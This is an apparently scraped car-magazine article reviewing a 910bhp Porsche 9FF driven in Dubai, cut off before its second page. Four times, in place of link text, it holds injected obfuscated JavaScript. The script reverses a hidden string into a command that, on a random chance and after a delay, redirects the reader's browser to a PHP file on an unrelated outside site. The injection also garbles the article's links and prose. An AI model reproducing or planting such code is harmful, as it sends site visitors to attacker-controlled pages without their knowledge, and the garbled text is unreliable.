910bhp Porsche 9FF. Taming The Animal

“Oooohhhh ssssshhhhhhiiiiiiiii……..”

That’s probably given you a good idea what it’s like behind the wheel of a 910bhp Porsche 9FF. Amidst the waves of adrenaline and uncontrollable giggling, there are faint traces of terror. Without doubt, this is turning into an experience unlike any I’ve had at crankandpiston.com so far. Perhaps a bit of context is required though before I get too carried away.

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This particular $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/porsche/” target=”_blank”>Porsche has temporarily been loaned to us by the good people at House of Cars, not too long after we saw the brute staring menacingly at us through their Dubai showroom’s glass doors. “We must have it!” was the almost immediate conclusion. Some quick negotiation and a handshake later, and it was! Joining me on this shoot is crack $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/author/moe-najati/” target=”_blank”>crankandpiston lensman Moe (being a bit of a Porsche fan, he was more than happy to spend a few hours with an even more powerful model). Since the summer heat in Dubai is still pounding the air out of our lungs, and since the quieter roads seem more appropriate for the drive, the clock hasn’t even struck 8am yet when Moe and I tool up at House of Cars.

Wandering into the showroom we find Sales Manager David Hunt up to his belt loops under the bonnet checking the water cooler for the turbo charger, since “clearly you’re going to be using that”. And he’s smiling. I had imagined David would be a quivering, nervous wreck this morning, his fingernails already chewed down to the bone at the idea of lending a 910bhp Porsche to (urgh) the media! By no means: in fact, since I am on driving duty today, I am actually more nervous than he is.

To set the mood while he walks us through some of the finer points of the car – “this one here is for the exhaust valves” – David turns the ignition on. One, two three turnover clicks, and all six twin-turbocharged cylinders fire into life. The noise is not only enough to rattle the fillings from our mouths but, given the degree to which the linoleum is trembling underfoot, it feels like the showroom itself could shift a few inches from its foundations. It is unbelievably loud! And I can’t stop smiling.

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Getting the 9FF out through the showroom’s front doors attracts quite a crowd. The job of getting Sujee (our House of Cars guide for the day) into the backseat attracts an even bigger one. Poor Sujee has to manouevre around two very large, very static Cobra race seats, which requires some impressive gymnastics on his part. There’s not much room in the back, and he resorts to swinging his legs across both seats. I quickly ramp the air conditioning up to full: now that Sujee is in, the likelihood of him getting back out anytime soon is slim.

Then comes the issue of Moe and I getting ourselves in. A simple enough task one would have thought, except there’s not a huge amount of wiggle room afforded by the bucket seats. And that’s not even including the furore involved with finding the seatbelts, in which we manage to tangle ourselves quite thoroughly. After only an hour or two though we’re finally in – my knees lodged firmly under the bottom of the steering wheel – and on our way, David throwing us a cheery wave in the wing mirrors.

The route for our drive is not an overly dynamic one. Nor is it a particularly long one. The 9FF is, after all, a showroom model, and bears a $185,000 price tag: the last thing I want to do is bring it back with a scratch, a dent or with one of the bumpers missing. Not only that, but the herculean amount of power I have to play with will not kick in fully until we hit 3000 revs, such is the way of the two F900 turbochargers. Since the car has yet to warm up, I’m unsure what will happen when it does: the chances of the rear tyres biting, the steering snapping from my grasp and the 9FF doing a graceful 180 in the middle of the highway are quite strong. The first stage of our journey then is spent going between second and third gears, and trying keeping the rev needle – and my heart rate – relatively low as we head to the Meydan Racecourse.

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There’s more to my first impressions than outright fear though. Despite the insistence with which they hold us in place, the leather Cobra seats are surprisingly comfortable, as is the ride: you certainly couldn’t travel long distances in the 9FF on a regular basis, but there’s no trace of the spine-shatteringly hard ride I was expecting from such a modified machine. What’s really caught my eye though – apart from the questionable rear visibility – is the arrangement of the pedals, which feel like they have been positioned equidistant between both the driver and front passenger footwells. Accordingly, I’m actually facing a little sideways as we drive along, which may not seem like much but suddenly puts the sense of speed fully into perspective as the landscape whistles past the corner of my left eye.

There’s also the centre console, which is all standard albeit a little dated now, despite this $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/porsche/” target=”_blank”>Porsche only being a 2006 model. As well as the buttons on the centre console – almost all of which I ignore aside from the air conditioning – there are three additional buttons in the cabin that have been installed post- tune up: the two down by the driver side doorsill control the water pump and the exhaust valve (which is essentially the volume button), while the third hidden rather neatly underneath the handbrake is the radar jammer. Being of scrupulous honesty and a shining beacon of road safety as we are at crankandpiston, we of course turn this on immediately.

Don’t worry. We didn’t actually use it on the road.

The standout feature for me though as we traverse the early morning traffic is the six-speed manual gearbox. For a car of this insane magnitude, a manual seems only fitting. That’s not to say though that the gearbox doesn’t make me work for my wistfulness. The clutch is unbelievably stiff and requires some pretty stout effort from my left thigh muscle, and slotting home first gear is heavy work too. This is a car, lest we forget, that won Germany’s Sport Auto magazine’s 0-300-0kph challenge back in 2007 (32s, just FYI), has a 385+kph top speed, and which is proudly labeled ‘the fastest 911 convertible in the world’. It’s as well, when dealing with these kinds of speeds, to ensure that little things like the brakes (which are similarly stiff) and transmission can withstand the pressure. Still, give or take the odd bunny-hopping gear change or two, I’ve eventually got the hang of both the gearbox and the brakes by the time we arrive at the Meydan Racecourse.

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Alongside the track is a deserted stretch of tarmac ideal for straight-line speed runs. Those will come later. For the time being though, both Sujee (who is still curled up on the backseats) and I are ejected from the cabin while Moe sets up his shots. This gives me the chance to think about my conversation with Gavin MacDonald, the owner of this 9FF. He’s a keen $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/porsche/” target=”_blank”>Porsche fan and has owned the car now from new, even though it actually started life as a non-turbocharged Carrera 4 S Cabriolet. As we can see, a lot of work has gone into it:

“Everything that could be done to it has been done to it”, Gavin declares with a grin. “I first had it converted to a 780hp turbo when you could not buy a turbo 997, and then I had some more engine work done to increase that to 910hp. And actually, the turbo bodykit was put on the car months before Porsche even launched the 997 turbo cabriolet. This was essentially the first ever 997 turbo cabriolet. Except with double the horsepower!”

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Story concludes on page 2

Categories: Road


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